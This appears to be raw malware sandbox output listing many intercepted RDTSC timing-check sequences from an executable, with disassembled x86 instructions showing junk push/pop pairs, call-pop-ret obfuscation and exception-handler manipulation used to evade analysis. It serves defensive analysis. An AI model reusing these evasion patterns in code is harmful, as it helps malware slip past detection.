Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCB3D second address: 7FCBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007FF40C70B058h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 sub dword ptr [ebp+122D3864h], edx 0x00000026 push 00000000h 0x00000028 mov di, 2913h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FF40C70B058h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 jc 00007FF40C70B059h 0x0000004e mov di, ax 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 jne 00007FF40C70B05Ch 0x00000059 pop eax 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCBB9 second address: 7FCBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDBB5 second address: 7FDBB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEC52 second address: 7FEC6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB92Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FF40CBDB928h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFD10 second address: 7FFD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFD14 second address: 7FFD1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFD1A second address: 7FFD1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8CD1 second address: 7F8CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800BBD second address: 800C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a nop 0x0000000b or bx, 620Ah 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FF40C70B058h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c or bh, 00000000h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007FF40C70B058h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b and ebx, 00904060h 0x00000051 xchg eax, esi 0x00000052 jnc 00007FF40C70B064h 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FF40C70B05Ch 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C44 second address: 800C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800C48 second address: 800C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDD2B second address: 7FDD57 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF40CBDB932h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FF40CBDB933h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDD57 second address: 7FDDD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FF40C70B058h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jnc 00007FF40C70B05Ch 0x0000002a push dword ptr fs:[00000000h] 0x00000031 movzx ebx, di 0x00000034 mov ebx, 4BC3A320h 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov di, B7BDh 0x00000044 mov eax, dword ptr [ebp+122D01B9h] 0x0000004a jg 00007FF40C70B05Ah 0x00000050 adc bl, FFFFFFA4h 0x00000053 push FFFFFFFFh 0x00000055 or edi, dword ptr [ebp+122D3568h] 0x0000005b push eax 0x0000005c pushad 0x0000005d push esi 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEE61 second address: 7FEE66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEE66 second address: 7FEE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40C70B066h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806B9E second address: 806C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FF40CBDB928h 0x0000000b popad 0x0000000c nop 0x0000000d mov edi, 2380CD1Ch 0x00000012 push 00000000h 0x00000014 jmp 00007FF40CBDB92Dh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007FF40CBDB928h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 jmp 00007FF40CBDB936h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FF40CBDB931h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802E05 second address: 802E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808C72 second address: 808C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802EF2 second address: 802EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808C76 second address: 808C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808C7C second address: 808C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804DFF second address: 804E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E23 second address: 805EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FF40C70B058h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D3179h], esi 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov ebx, 1C691B4Ah 0x00000034 jnl 00007FF40C70B05Ah 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov ebx, dword ptr [ebp+122D2968h] 0x00000047 clc 0x00000048 mov eax, dword ptr [ebp+122D11F1h] 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 call 00007FF40C70B058h 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], ecx 0x0000005b add dword ptr [esp+04h], 00000016h 0x00000063 inc ecx 0x00000064 push ecx 0x00000065 ret 0x00000066 pop ecx 0x00000067 ret 0x00000068 cld 0x00000069 push FFFFFFFFh 0x0000006b mov edi, dword ptr [ebp+122D3798h] 0x00000071 push eax 0x00000072 pushad 0x00000073 je 00007FF40C70B05Ch 0x00000079 jno 00007FF40C70B056h 0x0000007f push eax 0x00000080 push edx 0x00000081 push edx 0x00000082 pop edx 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EEE0 second address: 80EEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EEE6 second address: 80EF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jne 00007FF40C70B056h 0x0000000c jno 00007FF40C70B056h 0x00000012 js 00007FF40C70B056h 0x00000018 jmp 00007FF40C70B05Bh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EF0A second address: 80EF28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF40CBDB926h 0x0000000a jmp 00007FF40CBDB934h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EF28 second address: 80EF4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B066h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F9D0 second address: 80F9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F9D6 second address: 80F9EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF40C70B05Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80F9EE second address: 80F9F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96BA second address: 7A96C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A96C2 second address: 7A96C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8169BF second address: 8169C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816B67 second address: 816B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AF46 second address: 81AF8A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF40C70B058h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jo 00007FF40C70B05Ch 0x00000014 jbe 00007FF40C70B056h 0x0000001a jo 00007FF40C70B05Ch 0x00000020 jg 00007FF40C70B056h 0x00000026 popad 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b pushad 0x0000002c push esi 0x0000002d jmp 00007FF40C70B063h 0x00000032 pop esi 0x00000033 push esi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AF8A second address: 81AFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FF40CBDB93Ch 0x00000010 jmp 00007FF40CBDB936h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AFB0 second address: 81AFD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AFD5 second address: 81AFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AFD9 second address: 81AFDF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AFDF second address: 81AFE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AFE5 second address: 81AFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F860 second address: 81F86A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF40CBDB926h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F86A second address: 81F882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF40C70B058h 0x0000000c pop edi 0x0000000d pushad 0x0000000e jo 00007FF40C70B05Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F882 second address: 81F896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF40CBDB92Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F896 second address: 81F8B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Eh 0x00000007 jnc 00007FF40C70B056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FF40C70B056h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824F0E second address: 824F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823BE4 second address: 823BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823BEA second address: 823BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF40CBDB926h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823BF9 second address: 823BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823BFD second address: 823C09 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823C09 second address: 823C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B062h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8241E2 second address: 8241E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824657 second address: 824661 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF40C70B05Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824BDD second address: 824C22 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF40CBDB928h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007FF40CBDB926h 0x00000011 jmp 00007FF40CBDB92Bh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF40CBDB92Fh 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007FF40CBDB92Fh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DB5A second address: 82DB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007FF40C70B067h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C574 second address: 82C580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF40CBDB926h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C708 second address: 82C711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C711 second address: 82C717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C717 second address: 82C71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D3DD second address: 82D3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40CBDB933h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D3FD second address: 82D404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D404 second address: 82D40A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D40A second address: 82D418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FF40C70B056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832302 second address: 832306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832306 second address: 83230A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9588 second address: 7F959C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB930h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F959C second address: 7F95B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF40C70B068h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F95B9 second address: 7F9603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FF40CBDB928h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push edi 0x00000025 je 00007FF40CBDB928h 0x0000002b mov dl, 94h 0x0000002d pop edi 0x0000002e lea eax, dword ptr [ebp+1248D375h] 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jne 00007FF40CBDB92Ch 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9603 second address: 7F9608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9608 second address: 7D7E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FF40CBDB928h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov dx, 4107h 0x00000028 call dword ptr [ebp+122D3825h] 0x0000002e jl 00007FF40CBDB95Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 pop edi 0x00000038 jng 00007FF40CBDB926h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9BE6 second address: 7F9BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9CC0 second address: 7F9CF9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007FF40CBDB934h 0x00000010 jmp 00007FF40CBDB92Bh 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007FF40CBDB928h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9CF9 second address: 7F9D1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov dword ptr [ebp+122D31C3h], esi 0x0000000f mov dword ptr [ebp+124570C7h], edx 0x00000015 push C6FFC25Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9D1B second address: 7F9D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40CBDB92Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9DF4 second address: 7F9E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF40C70B06Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FF40C70B056h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9EC5 second address: 7F9ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF40CBDB926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA540 second address: 7FA545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8325C8 second address: 8325CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83271A second address: 832720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832720 second address: 832751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF40CBDB937h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF40CBDB92Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832751 second address: 832756 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8329B6 second address: 8329BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
